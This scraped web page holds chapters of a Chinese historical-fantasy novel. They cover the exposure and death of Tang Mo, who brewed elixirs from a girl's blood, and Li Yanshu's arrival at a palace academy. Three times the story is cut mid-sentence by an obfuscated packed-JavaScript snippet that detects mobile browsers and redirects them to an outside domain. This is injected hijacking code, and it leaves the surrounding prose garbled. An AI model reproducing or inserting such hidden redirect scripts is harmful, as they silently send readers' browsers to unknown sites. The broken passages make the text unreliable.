她之前进得急,竟完全没有注意到身后还立了这么一尊大鼎。炉鼎下方还燃着熊熊烈火,顺着鼎身往上看,竟是用四根有人胳膊粗的铁链将大鼎直接悬空挂起,画面震撼人心。 陆续进来的唐家弟子都是第一次来这,一进来就被唐华接下来的话惊住。 唐洛接道:“看见炉里那些东西了吗?之所以是那个颜色,是因为唐易身上大半的血都在里面。不仅是人血,还有人肉……” 唐华被惊得退了几步。 她怎么都没有想到,所谓炼丹竟然是这么炼的! 此时,鼎里被无数药材压制的腥臭味仿佛也随之飘了出来。 “呕……” “呕……” 接二连三的呕吐声不断响起,不止是唐华,还有不少唐家弟子跟唐华一样,直接被恶心到吐。 唐洛接道:“唐易体质特殊,她的血可以为引,同时,还可以用以试药。我偷偷将她放走,以为她会走得远远的,不曾想,她竟每次都去食易楼前站着,每每被你们抓回,继续试药。” 唐华大受打击,踉跄到唐易跟前,跪下道:“我不知,我先前什么都不知道,我不知道你一直都被……对不起,对不起,对不起……” 不止是唐华,那些曾经欺负过唐易,因为唐微之死迁怒于她的人也都羞愧地低下了头,来到她面前跟她道歉。 可唐易还是没有反应,那双没有任何光亮的眸子,仿佛在一年前就彻底暗了下去。 石洞外面,没了唐家弟子,韩良等人没了顾忌,场上局势自然也发生了变化。 眼见蒙面人逐渐不敌,唐默对李砚书道:“你可知他们是谁的人?” 李砚书轻笑一声,剑刃贴近他的喉尖,声音平静道:“那又如何?” 那就是知道了。 唐默嘴角勾起一抹了然于胸的笑,道:“不如这样,你放了我,就当今日之事从未发生。你继续做你的千金大小姐,何必执意要蹚这趟浑水呢?” “放了你?”李砚书道,“那些被你无辜杀害的人又当如何?” 唐默不胜其烦,道:“他们跟你有什么关系!需要你像个救世主一样,过来多管闲事吗!他们的亲人呢?你以为为何这么久以来没有一个人去报官,那是因为他们的家人都收了钱,是他们自愿将人卖给了我!” “人家爹娘都不管,要你来多管什么闲事!” 他的声音在山洞里响起,余音回荡。 “那唐易呢!” 唐华涕泗滂沱,大声喊道:“唐易也是自愿的吗?” 李砚书压着唐默转身,就听唐华继续道:“就因为她体质特殊,你就用她炼丹。为你一己之私,就下药控制唐易,让她失去神志,错杀家主。而方才,你眼见师兄弟们送命,却无动于衷。” 唐华拭去脸上的泪,平声道:“唐家没有你这样的家主,你不配做唐家家主。” 在唐华说话的时候,唐家弟子都从石洞里走出来。他们每个人的脸上都同唐华一样,那一刻,像是有无数个唐华,在对唐默说——你不配做唐家家主。 “哈哈哈……哈哈哈……”唐默喉间逸出笑声,随即阴沉下脸,“愚蠢,愚蠢至极!你们以为唐微是什么好东西,道貌岸然的伪君子罢了!丹道有何不好,不过是过程难看了些,但只要长生丹炼成,唐家必定会青史留名,唐家祖辈追求的不也正是如此吗?我有什么错,我唯一做错的,就是不该一时心软,没有见到唐微尸体就认定他必死无疑。否则,也不会有今日之事。” 末了,唐默突然对李砚书道:“你以为郑诸义又是什么好人吗?” 从始至终郑诸义都没有出现,反而是李砚书这个路过雍州之人做了出头鸟。等此间事了,郑诸义兵不血刃,完美隐身。而李家则会再次被推上风口浪尖。 这些李砚书不是不知道,可她既然管了,就断没有半途而废的说法。 李砚书握剑的手沉了几分。 唐默喉间发紧,忍不住吞咽,放话道:“你若是杀了我,元安那位便会与渭阳王不死不休。” “不死不休?”李砚书道,“你未免太高看自己。” 话是这么说,可李砚书确实没准备在这里杀他。 “是么?”唐默道,“我方才已写信出去,告诉元安那位长生丹已经炼成。” 李砚书心里一紧,却道:“撒谎。” 唐默嗤笑一声,“你可以这么想,最好是现在就杀了我,不然就算你是王爷之女又如何,统统都要给我陪葬。” 说完,他像是不要命了一样,仰着脖子就要往刀刃上撞。 李砚书下意识往前撤,不想正好掉入唐默的计划之中。 他不知什么时候将绑在他手上的鞭子解开了,趁李砚书应接不暇之时,顺势挥鞭离开李砚书的桎梏范围,随即他又飞快地捡起掉落在地上的剑,朝着李砚书刺去。 李砚书提步后退。 唐默虽然挣脱了束缚,但他终究不会武,就在李砚书退后几步的间隙里,他就被人从背后刺了一剑。 李砚书暗道不好。 她想出手阻止,却来不及了。 顷刻间,白刃红出。唐默睁大眼睛,似是不敢相信,哽着脖子想要回头。然而还不等他有所动作,下一刻,他就被那人一脚踹倒在地。血沫随着嘴角流出,连同地上的尘屑沾染了大半张脸,死不瞑目。 随着唐默倒下,李砚书才看清了唐默身后之人。那人模样清秀,算不上出众,只是眉心那一颗痣,让人记忆深刻。 那人拱手道:“小姐没事吧。” 同时韩良他们也将蒙面人悉数拿下,过来道:“小姐,贼人已全部拿下。” 李砚书怔了半拍,“嗯”了声,对韩良道:“辛苦韩叔,兄弟们都没事吧?” 韩良笑了两声,摆手道:“小姐跟我们还客气什么,放心吧,都没事,这群乌合之众还伤不了我们。” 他说完,身后众人也附和道:“是啊,小姐放心。” 李砚书这才看向杀死唐默那人,问道:“韩叔,这位是?” 韩良道:“哦,这位是奉车都尉,宋承。” 李砚书道:“宋都尉。方才还要多谢宋都尉出手相救。” 宋承回礼道:“小姐严重了。” 见状,韩良正欲说话,就被唐家弟子一声声家主打断。转眼看去,以唐洛为首的唐家弟子正齐齐跪在唐默身前。 一时间韩良也不知该说些什么,他看向李砚书,见李砚书提步往山洞里走去,他连忙跟着。刚进山洞他就闻到了一股难闻的腥臭味,皱眉朝味道源头看去,待看清那边是什么东西后,饶是他也被吓了一跳。 李砚书无视那堆乱七八糟的东西,来到唐易面前缓缓蹲下,轻轻唤了她几声,唐易还是跟以前一样,垂着眼没有任何反应。看着这个样子的唐易,李砚书忽然间不知该如何开口。 “……唐易,”李砚书涩声唤她,“不苦……” 唐易,唐不苦。不苦,她的一生要是如她的名字一般该多好。 叮铃铃—— 清脆的铃铛声响起,唐易瞬间掀起眼帘,动作僵硬地起身,朝唐洛走去,同时小声地道:“……不苦,不苦,乖……” 唐洛让人将唐易带出去。 李砚书维持蹲下的姿势没有动,不一会儿,身后传来唐洛的声音,“敢问李小姐,唐微家主现在何处?” 郑策闻言看向李砚书,而后又看看唐洛,欲言又止。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521312|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李砚书思索片刻后起身,如实相告:“唐微家主,在我上山之前,已经仙去。” 以唐洛为首的众多唐家弟子黯然低头。 郑策站出来,踌躇道:“唐伯伯虽然被我爹救下,可到底是从山崖落下,伤了根本。这一年我爹用了无数办法,才让唐伯伯得以撑到今日。” 唐微到底是肉体凡胎,被刺一刀后坠崖,能活到今天已是万幸。唐家众人不是不明白,只是噩耗突然,他们一时之间还是难以接受。 山洞里沉寂下去。 李砚书看向韩良,韩良领会,带着人去帮忙埋尸。 唐洛突然道:“李小姐能否告诉我,幕后之人终究是谁?” 山洞里只剩她们两人,李砚书装傻道:“大师姐说什么呢,哪有什么幕后之人,这些不都是唐默弄出来的吗?” 唐洛道:“可那些蒙面人却不是唐家之人。” 李砚书道:“不是唐家之人啊,不是唐家之人就对了。” 见唐洛还是不信,她继续道:“你想啊,他干这些事,有哪一件是能见光的。他肯定怕被人发现啊,所以就雇了这些杀手来守着这里。” 唐洛看着她不语,李砚书干笑两声,也不知忽悠到没。 半晌,唐洛对她行了一礼,道:“李姑娘大恩,唐家铭记在心,日后若是有机会,唐家定会倾力相助。” 李砚书道:“唐姑娘严重了。” 唐洛颔首,旋即准备离开。李砚书叫住她,“大师姐!” 唐洛回头,面向李砚书。 “那个……”李砚书期期艾艾,有些纠结要不要说。 唐洛一脸淡然,耐心等着她。 “就是,你知道唐易的母亲是谁吗?” 唐洛略有诧异,如实摇头:“不知。” 李砚书偏头看了眼洞口,确定没人后,来到唐洛身边,小声道:“唐佩。” 唐洛倏地看向她,怔了怔,难以置信道:“唐佩师姐?” “嗯。” 李砚书肯定,补充道:“唐微家主亲口所说。” 唐洛想到以前种种,唐佩师姐说是下山历练,一走好几月聊无音信,后来唐微家主下山,带回的却是唐佩师姐的噩耗,以及一个襁褓中的婴儿。婴儿就是唐易,十几年过去了,她从未想过唐易竟然会是唐佩师姐的孩子! “孩子……唐易的父亲是谁?”唐洛问道。 李砚书道:“不知。唐微家主查了很久也没有查出来,只知道唐佩姑娘应是在唐家时便怀有身孕。” 她刚说完,就见韩良信步进来。 唐洛若有所感,朝李砚书拱手,一贯温柔的人在这一刻变得严肃起来,她道:“我知道了,此事还望李小姐保密。” 李砚书颔首,正色道:“自然。” 说完,唐洛转身离开。 唐华从远处走来,待走近了道:“大师姐,郑员外将唐微家主的遗体送到了。” 唐洛垂眼,轻声道:“唐华,若是我当初坚持到崖底寻找家主,今日之事会不会不一样?” 倘若她一年前坚持去崖底寻人,是不是唐微家主就不会离开唐家,唐默就不会当上家主,唐家也就不会有今日之祸。 一念之误,乃至于此。 唐华沉默了半晌,低声道:“大师姐……我也不知道会不会不一样,但我知道,你一直都在默默保护我们,保护每一个唐家弟子,谢谢你。” 说到这,她对着唐洛微微一笑。 适时风起,带乱了她的长发,唐洛迎着风,抬起手,替她理了理拂在颊边的碎发。 “走吧。” 她们并肩下山,逆风而行。 这条路她们走了无数遍,风景如昔,人心变却。 唐默自小痴迷于毒理丹道,性格孤僻,整个唐家除了唐佩,没有人愿意陪他玩。唐佩天赋出众,在她十一岁那年,唐家老家主便有意让她嫁给唐微。只是后来老家主突然病逝,这事也就搁置了下来。 唐洛那时还小,喜欢缠着温柔漂亮的唐佩师姐玩,走哪跟哪,也因此成了唐家第二个跟唐默呆在一起的人,虽然他们之间从未没有说过话。日子一天天过着,突然有一天唐佩师姐跟她说要下山历练。唐洛不以为意,以为唐佩师姐会像往常一样,很快就会回来,却不想,这一别竟是永别。当她再一次听到唐佩师姐的消息时,是在一年后唐微带回的——唐佩师姐的死讯。同时唐微还带回了一个婴儿,说是路上捡到的弃婴,取名唐易,表字不苦。 17. 清蝉 武明十六年,时值盛夏。 杨贵嫔诞下十皇子,武明帝为幼子取字——昇。 翌日武明帝设朝,渭阳王李阿鼎携一双儿女入朝面圣。帝大喜,论功行赏后,特封渭阳王长子李眭为汉阳郡王,其女李晗为广明县主。 两日后,李阿鼎启程回渭阳,李眭和李砚书到城门口相送。 李阿鼎沉声对李眭道:“阿寅,到汉州之后记得写信回家给你娘报个平安。” 李眭点头应下。 李阿鼎又看向李砚书,表情立变,满是不舍地道:“小妹啊,阿爹舍不得你啊!” 他心心念念了三年,好不容易打完战,就盼着能早日回家看娘子和女儿,结果现在女儿被留在元安,又要与他分离。想到这里,堂堂九尺男儿,战功赫赫的渭阳王,眼睛一红,差点在大庭广众之下哭出来。 李砚书动作熟练地向前抱住自家阿爹,哄道:“好阿爹,女儿也舍不得你啊!你放心,我一定每月都写信回去,不叫你跟阿娘担心。” 李眭面无表情地看着面前这上演了无数次的画面,在心里默念。 一……二…… 三。 李阿鼎道:“你看看你妹妹,再看看你!” 李眭面无表情道:“你看看你妹妹,再看看你。” 李阿鼎顿了半拍,回过神来,骂道:“……臭小子,你皮痒了是吧!” 李眭见自家阿爹要揍人,连忙闪身到李砚书身侧。果不其然,李阿鼎一见到李砚书,原本吹胡子瞪眼的气势瞬间就变成了一面春风和煦。 李砚书默默往一边挪了些,李眭暗暗拉住她,两人眼神对上,一个坏笑,一个无奈。 一直立于后面的韩良见状过来打圆场,笑道:“王爷放心,属下已经提前跟玄铁营的弟兄们打过招呼了,小姐有事只管吩咐他们便是。” 韩良被拘在元安五年,这次多亏李阿鼎开口,让他随李眭前往汉阳。汉阳虽也离渭阳十万八千里,可只要不是在皇上眼皮子底下呆着,他就喜欢。在元安无论做什么都有顾忌,人都要憋死去。这次终于可以离开元安,他现在晚上睡觉都乐呵。 李阿鼎一只手搭上韩良的肩头,重重拍了两下。虽没有言语,韩良却明白王爷这是在向他道谢和歉意…… 五年前,王军凯旋,他跟着王爷一同入朝领赏。进宫路上李阿鼎对他说,受封之后回渭阳给他寻一门亲事,说是王妃那里有好几个适龄娘子,就等他回去亲自相看,王妃就亲自替他上门说媒……可惜,最后回到渭阳的只有李阿鼎一人。 而这次,李阿鼎也是一人。 李阿鼎转身上了马,威武彪悍的骏马昂扬着前颈,一双眼睛深深地望着远处辽阔的原野,那里有他的家乡。 马蹄声响起,所有人半跪送行。 “恭送王爷!” “恭送王爷!” 马蹄扬起风沙,李眭立于城前良久,望着那抹身影在漫天风沙中逐渐变小,最后消失不见。 李砚书轻声道:“哥,我离家时还不曾感到,现在,却有些想家了。” 李眭看她一眼,道:“嗯。” 接着,他轻声道:“五年,五年后,哥哥一定来元安接你。” 听他这么说,李砚书眼眶一热,差点落下泪来。她眨了眨眼,望着远处一望无际的风沙,冲李眭笑了一下,说好。 翌日,李砚书再次来到城门口,这次是送李眭。 李眭模样长得好,虽也习武,但从前在王府时身上更多的君子雅节,三年征战,如今身着官服,翻身上马的他则多了几分李阿鼎的杀伐霸气。 韩良跟随李眭离开,留下宋承立于李砚书身后一同送别。 那天回去之后,李砚书曾秘密向韩良问过宋承。 令她没想到的是,宋承竟也是五年前随阿爹进宫被皇上留下来的那一批人。 宋承,鄯州人,父母双亡,只比韩良晚进军营几个月。这样的经历,李砚书本不该疑他,只是他那一剑过于突然,让李砚书不得不怀疑。 韩良却很相信宋承,跟李砚书作保道:“宋承绝无问题,属下可以为他担保。” 李砚书静了少顷,道:“有韩叔这话,我自是相信。” 或许是她多心了,当时那种情况,从宋承方向看的确像是她有危险。 三日后,李砚书到学林院入学。 武圣帝马上定乾坤,加上当时诸侯争霸,乱世之下,武朝武将众多,光是开国将军就有数十位之多,可惜除了杨国公,其余将军皆已病故。到了武明帝执政期间,盛世江山,文治武功,更是开了女子科考,入朝为官的先河。 而学林院,顾名思义,就是众学子求学之地。由武圣昭仁皇后亲自督办,并立下铁令,入学者,丫鬟奴才一应伺候的人一个都不许带进去,且敢在里面仗着身份为非作歹,不敬老师者,严惩。 永春门前,素影先下马车,站稳后伸手扶李砚书下来,“小姐,东西我都点过了。老师讲得你要是不喜欢听,可千万忍忍,别像之前气齐夫子那样,我们都不在,万一他们人多罚你了可怎么是好。” 李砚书颠了颠手里沉甸甸的包袱,里面估计还有两个大包子。她哄着人上车,道:“记住啦,放心吧。你快些回去吧,府里就骨衣一个人收拾,快些回去帮她吧。” 偌大的王爷府好些年没住人,虽说李阿鼎和李眭先到几日,可到底是刚下战场的男人,能知道提前打扫出几间屋子就不错了,偌大一座府邸,全部整理完还得费些功夫才行。 把人送走的李砚书长舒一口气,转身将身份令牌交给门口侍卫查看。 侍卫查看后,双手恭敬地将令牌还给她。 李砚书将令牌揣进腰间,跨过门槛,便看见一个宫女打扮的人朝她这边走来。 那宫女对李砚书屈膝行礼,“奴婢清蝉,见过广明县主。” 李砚书叫她起来,问道:“你可知学林院在哪?” “县主请随奴婢来。”清蝉欲接过李砚书手上的包袱,道:“公主殿下知道县主今日入学,特遣奴婢来接县主。” 李砚书没给她,笑着摆摆手,道:“公主殿下?” 清蝉始终微低着头,收回手自然合在身前,道:“回县主,奴婢主子是无双公主。” 李砚书顿悟。当今皇后礼佛,一直无所出,只有信皇叔养在膝下。后来四公主生母难产,皇后才将四公主接到身边亲自抚养。按辈分来说,她与这位无双公主还可以唤作表姐。 “县主请。” 清蝉的声音将李砚书拉出思绪,一抬眼,显福门三字映入眼帘。 清蝉道:“县主,这边进去就是学林院。” 李砚书点头致谢:“好,今日多谢你。” 清蝉行礼道:“奴婢不敢。” 李砚书本一只脚踏入了门槛,听到这句,她收回脚,退了出来,转身来到清蝉面前,道:“对不住,方才没有记住你的名字,可以再跟我说一次吗?这次我一定记住。” 清蝉眼前一黑,直接“咚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521313|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”一声跪下,惶恐求饶道:“奴婢知错,求县主恕罪。” 李砚书有些无措,忙去扶人,“你怎么跪下了,我没说你错了,我只是想问问你的名字而已,真的,你快起来。” 说跪就跪,李砚书都不知道她的膝盖有没有事。 将人拉起来,李砚书胳膊一抡,将才把快要滑下的包袱重新摔到肩上,道:“我真的没有要怪罪你的意思,就是想问问你的名字。” 清蝉战战兢兢起身,看得出在极力维持。她颤颤巍巍地道:“奴婢……奴婢,清蝉。” “清蝉,”李砚书想了一下,对她道,“郭璞有云:‘虫之清洁,可贵为蝉。潜蜕弃秽,饮露恒鲜。’,你的名字很好听,我记住了。” 宫里的人大都会察言观色,清蝉也不例外,她听李砚书话里似乎没有别的意思,悬着的心才终于落地,曲膝道:“奴婢贱名,能得县主夸赞,是奴婢之辛。” 清蝉心里其实还是在打鼓,说不清为什么,第一次有人夸她,还是夸她的名字好听。想到这,她本就低垂着的脑袋这下更是垂得低,唯有耳尖一点点变红,恨不能找个地洞将自己埋进去。 等她回过神来时,李砚书已经跨进了门槛,她的声音朗朗传来: “清蝉,我阿娘说每个人的名字都是独一无二的,你也不例外!” 清蝉愣在原地,直到李砚书的身影消失在墙角。 而后,她对着空无一人的前方,行了一个礼。 前年才翻新过的宫墙似乎比李砚书身上赤色绸缎还要好看,她来到墙根下,伸出手用指腹挨了一下,嘀咕道:“夫子骗人,还说皇宫的墙都是由黄金堆砌而成,这也不是呀。” 这时,一道清冷的声音响起:“你是何人?” 李砚书瞬间感觉到指尖麻了一瞬,她循声看去。 来人置身阳光下,通身气质不凡,身长玉立,面如冠玉,眼若秋水,只是站在哪里,就好似一副美人图,只一眼,就足够勾人心魄。 李砚书心跳停了半拍,嘴比心快道:“你叫什么名字?” 这是她今日第二回问人叫什么名字,只是这一次,只有老天爷知道她的心跳跳得有多快! 明明是他先问的她,现在却变成了她来问他。 那人神色未变,只道:“你是何人?” 李砚书指尖再次颤了一下,收回手,笑容满面地迎了上去。她道:“我叫李晗,字砚书,渭阳王之女。我都跟你说了,你还没告诉我你叫什么名字呢?” 待走近一些再一看,李砚书不自觉收起呼吸,生怕下一秒这人就跟那神仙一样会消失不见了。 谁知,眼前人没有像神仙似的直接消失不见,却是直接转身就走。 “哎!” 李砚书被那人转身时的那一眼迷愣了一会儿,反应过来后,赶紧追上去。不想刚往里追了几步,就被人拦了下来,让她出示令牌。 李砚书手忙脚乱地拿出令牌,再往那边看去,人已经没影了。她忙问:“方才进去那人也是学林院的学生吗?” 查看令牌的侍卫闻言一顿,静默片刻后,道:“是。” 说完,他将令牌还给李砚书。 李砚书眼睛一亮,笑道:“多谢!” 武朝官员每十日旬假一日,连同皇宫里的学林院与翰林院一起。且学林院学子非旬假及特殊情况不得出,这样一来,李砚书在学院里找人还不是手到擒来的事吗? 想到这,李砚书突然很想着手写封信送回渭阳。 18. 学院 不过,谁能来告诉她为什么一个学院设计得跟迷阵似的,七绕八拐毫无规律可寻,她顶着烈日走了这么久,一个人影都没见着。 不止人影,就连人声都没听着。李砚书想骂人,这里不是学院吗?按理说不应该有学子的朗朗读书声吗?在渭阳,就是隔着几堵墙,走在大街上,也能听见学院学子的读书声。 再次路过一颗树时,李砚书停下,见到这颗树上自己做的记号,不禁道:“还真是迷阵。” 只是不知道是那种迷阵。一般来说,当今已知迷阵绝大部分都出自九宫八卦阵。相传出自诸葛亮之手,其中又谓太极生两仪,两仪生四相,四相生八卦,而八卦又生六十四爻,期间智慧万千,远非常人所能及。 这还是李砚书第一次亲眼见到迷阵,还置身其中,兴奋之余还有几分新奇。 她努力回想师父跟她说过的几种迷阵,只要找到此阵阵眼,迷阵不攻自破,彼时她自然就能出去。 可惜,想法很美好,现实却很糟糕。 半个时辰过去,再一次回到这棵树前的李砚书突然明白了那句:“耳闻之不如目见之,目见之不如足践之,足践之不如手辨之。[1]” 师父跟她说起时,她还觉得很简单,不就是找阵眼吗,能难到哪去?可真到要找时,她就成了瞎子,手足无措,东奔西顾摸不清方向了。 突然,李砚书心间一亮。 她将包袱安置在树下,仰头估摸了下距离,运气一蹬,来到树上。 这是师父教她的保命绝招。若是实在找不到阵眼,就尽量去到高处,登高而看,如果能看清迷阵全貌,生机自现。 …… 一炷香后,李砚书提着她的大包袱,大摇大摆地从迷阵中走出来,嘴里不停道:“还以为是个多复杂的阵,原来只是一个最简单的四合阵。若不是我一时不察走进迷阵,又在里面绕了一个时辰,区区四合阵,那还不是轻松拿下。” 看来夫子说的也不全是骗人的,宫里果然遍布“黄金”。 远远的,她就看到前面有一人,静立不动,看样子应是在等她。 李砚书快步走去,待看清那人容貌时,李砚书合手作礼,“学生李晗见过先生。” “先生?”那人道,“从何得见?” 李砚书自然地道:“观先生之面,非寻常学子,而学林院唯一一位女先生便只有元先生一人。” 话里其实是带了几分奉承在里面的。李砚书从见到有人在前面等她开始就猜到,身后的迷阵其实就是一个考验。从她破阵的时间,再结合元鸿今的脸色,李砚书觉得这位元先生可能不太满意。 果不其然,下一秒就听元鸿今道:“走吧,已经耽搁了一个时辰。” 说罢侧身就走,李砚书忙跟上,接着听元鸿今道:“你很聪明,只是天下间最不缺的就是聪明人。” 言外之意,你这点聪明能不能在元安活下去都是问题。 李砚书听懂了,也不跟她转弯,直接道:“先生怎知我活不下去。” 元鸿今偏头,淡淡看了她一眼,“从你决定来元安的那一刻。” 李砚书怔了一下,停下来,两息后她追上元鸿今,道:“先生既设迷阵考我,便已对我上心。先生是想要借助迷阵之口告诉学生,元安就如迷阵一般,稍不注意就会身陷囹圄,无法自拔,可学生已破迷阵,便是通过了先生的第一个考验,至于能不能活下去,就是先生之职,学生之能了。” 听完她的话,元鸿今停下,道:“只有元安吗?” 李砚书也随之停下,一下被问住,只会眨眼,哑口无言。 见她不说话,元鸿今继续往前走。 李砚书追上去,虚心道:“学生愚钝,不知先生所言何为。” 元鸿今目视前方,只道:“岁寒,然后知松柏之后凋也。” 李砚书想了一会儿,也只知其中表意,不觉其背后深意。 元鸿今带她来到寝室门口,打开门,里面有两张床榻。其中一张床上铺了褥子,整洁有序,显然是有主了。没有铺褥子的那张床上叠放着两套一模一样的衣物,元鸿今道:“换上衣服,我在门外等你。” 李砚书闻言立刻放下包袱,乖巧道:“好的。” 直到元鸿今将门关上,李砚书长长呼出一口气。她终于明白为什么师父要让她来找这人了,单是迷阵就突出了元鸿今的不一般,再是接下来这一番话,从小到大,能让李砚书接不上话的人只有一个人,就是她师父毋玄。李砚书朝门口的方向看去,现在多了一个…… 李砚书拎起一套衣服,展开一瞧,这不就是之前她在门口遇到的,那个好看得似神仙般的人身上穿的那套吗? 说不上一模一样,却也有七成像。 李砚书换上衣服,转了几圈,越看越喜欢。 换做以往她不会穿这种素净颜色,她喜欢颜色亮丽一些的料子,譬如她今天穿的这身赤色,是她往日最爱。不过现在,她却极喜欢身上这套素净的衣服。 “今日课程为‘对弈’,你第一日入学,无对手,观战便是。”话落,元鸿今轻轻推门进去。 李砚书小声答了声好,跟在元鸿今身后进去。 堂中,十几位学子两两对坐,静默不语。堂上,白须夫子阖眼垂临。李砚书心想:“怪不得她没听见声音,原来都在这里下棋啊!” 她大概扫了一眼,随后略微失望地收回视线,没有见到她想见的那个人。 “承让。”白鹤行站起身朝对面行了一礼。 李砚书循声看去,那姑娘细眉凤眼,白衣不染,凛若秋霜。她们的目光在空中短暂相遇,刹那间,李砚书心底里就冒出来一个字——冷。 白鹤行走到她们面前,对元鸿今行礼,道:“老师。” 声如其人,冷冽不见情绪,李砚书如是想。 元鸿今点头,后将目光继续放在她面前这盘棋上。 李砚书朝白鹤行点头示礼,对方还之,继而也将目光放在棋盘上。 而正在对弈的两人,公子如玉尔雅,姑娘明媚张扬,二者一静一动,相辅相成,落坐到一块便是赏心悦目。李砚书将目光挪到棋盘上,黑子落子,提子,不疾不徐,却也暗藏玄机。执白子的姑娘表情渐凝,把原本放在膝上的那只手不自觉移到了桌上,原本和谐的气氛开始变得紧张。 黑子步步为营,落子,提子,有条不紊,反观是白子那边,一步失,步步失,虽竭力挽救,却是亡羊补牢为时晚矣。 随着黑子最后落下一子,胜局落定。 萧霂起身行礼:“殿下,承让。” 武霜抿着嘴,不太高兴,起身还了礼。 萧霂又朝着元鸿今一礼:“老师。” 武霜也随之行礼:“老师。” 元鸿今轻轻嗯了声,并未对他们这盘棋有何指点,而是继续走向下一局。 武霜在这时发现了李砚书,眼睛一亮,克制着没有叫出声,她对着李砚书小声道:“我们,出去。” 李砚书扬扬眉,跟她出去了。 外面,门一合上,武霜就道:“李晗,你就是李晗表妹吧!” 李砚书转身行礼,“李晗见过公主殿下。” 武霜笑道:“叫什么殿下啊,多生分,按辈分,你该唤我一声表姐。母后得知你要来元安,高兴极了,特地吩咐我,一定要照顾好你,要是你在宫里出了什么事,母后可是要拿我是问的。” 李砚书道:“娘娘可还安好?” 武霜道:“母后一切都好,就是思念姨母和你们。这次你入宫,母后高兴坏了。对了,姨母可还安好?” 李砚书道:“阿娘一切都好。” 皆是身不由己。 武霜拉住李砚书的手,道:“不提这些了,你既已进宫,还入了学林院,以后我唤你砚书可好?” 李砚书眉梢微扬,应道:“好。” 武霜道:“那你唤我无双就好,平日里母后就是这般唤我的,亲近。” 门后有了动静,白鹤行从里面走出来。 白鹤行合上房门,行礼后,对李砚书道:“老师应允县主和殿下离院,亥时下钥。” “好。” 李砚书点头谢她相告。 武霜带她去楚皇后的清宁宫,路上对她道:“刚刚那人叫白鹤行,是前朝罪臣之女,后遇父皇大赦天下,她才被元先生从掖庭宫救出,进到学林院。” 李砚书稍一想,诧异道:“前朝?那她岂不是……” 武霜点点头,道:“她父亲获罪时,她才满月。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521314|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 武朝规制,犯罪官僚家属入掖庭宫后都要在其肩上烙下一个罪字,是为罪奴,比寻常的宫女还要更低一等,属于宫里最末等的奴才。寻常宫女到了年龄便会放出宫去,另寻生路,可入掖庭宫的罪奴不能,她们一辈子都不能离开这座牢笼。 如果武霜不说,李砚书如何能想到,那样一个犹如九天冷月一般的人儿,竟是在掖庭宫历经磋磨长大的孩子。 武霜道:“这件事你知道就行了,可别跟其他人说。白鹤行可是元先生的得意门生,当年元先生为了救她出掖庭宫,差点惹怒父皇,最后还是母后为她们说情,人这才平安进了学林院。” 李砚书听着,不禁思考,究竟是因为什么,才让元鸿今不惜自毁仕途也要救出白鹤行,白家又于元鸿今有什么渊源?这些武霜肯定也是不知道,李砚书歇了问她的心思,道:“我知道的,你放心。” 武霜哈哈一笑,道:“对了,砚书,渭阳好玩吗?” 提起渭阳,李砚书脸上也露出笑,道:“好玩啊。” 武霜道:“真的?那以后要是有机会去渭阳,你可要带我好好玩玩。” 李砚书道:“自然,到时我带你去我们那最好的酒楼,喝最好的酒!” 光是想想,李砚书都觉得高兴。 武霜道:“一言为定!” 许是武霜提起了渭阳勾起了李砚书的思乡之情,所以当她见到与自家阿娘有六分像的楚皇后时,差点眼一酸,落下泪来。 楚皇后亦然。自她入宫后,就没再见过这世上仅有的亲人,也就是她的妹妹,渭阳王妃楚惟。时光荏苒,姊妹俩二十年天各一方,记忆里对方的模样早已模糊不清。她紧紧握住李砚书的双手,将人仔仔细细看了遍,恍惚间仿佛回到了二十年前,楚惟站在她面前,叽叽喳喳地叫着姐姐。 “母后一见着砚书妹妹,眼里就再也看不见霜儿了。”武霜故作吃味地道。 楚皇后回过神,收敛了情绪,轻笑了一声,道:“多大的人了,还跟母后撒娇呢。” 武霜抱住楚皇后的手,摇道:“不管,多大都是母后的宝贝。” 楚皇后道:“不知羞,砚书还在这呢。” 李砚书在旁笑笑,没有接话。 武霜嬉笑道:“砚书妹妹是自家人,看到了又怎样。母后可不许偏心,今后砚书妹妹有的,霜儿也要有。不然,霜儿就不跟母后天下第一好了。” 楚皇后架不住她这般,抽出手点了点她的额头,柔声道:“你啊,就属你无赖。” 武霜不以为耻,反以为荣,道:“那也是母后惯的。” 传闻也不都不靠谱,单从今日就能看出,无双公主受宠名不虚传。 晚膳因为楚皇后礼佛,所以安排的素宴。李砚书头一回品尝素宴,尝了个味,新鲜。但是这样偶尔吃一回还行,要是天天让她这么吃,她可受不了。 席间,楚皇后时不时问李砚书菜合不合胃口,最后还亲自夹菜给她,李砚书受宠若惊,每次都笑着说好。 出清宁宫后,李砚书趁人不注意,快速揉了揉已经笑僵的脸颊。 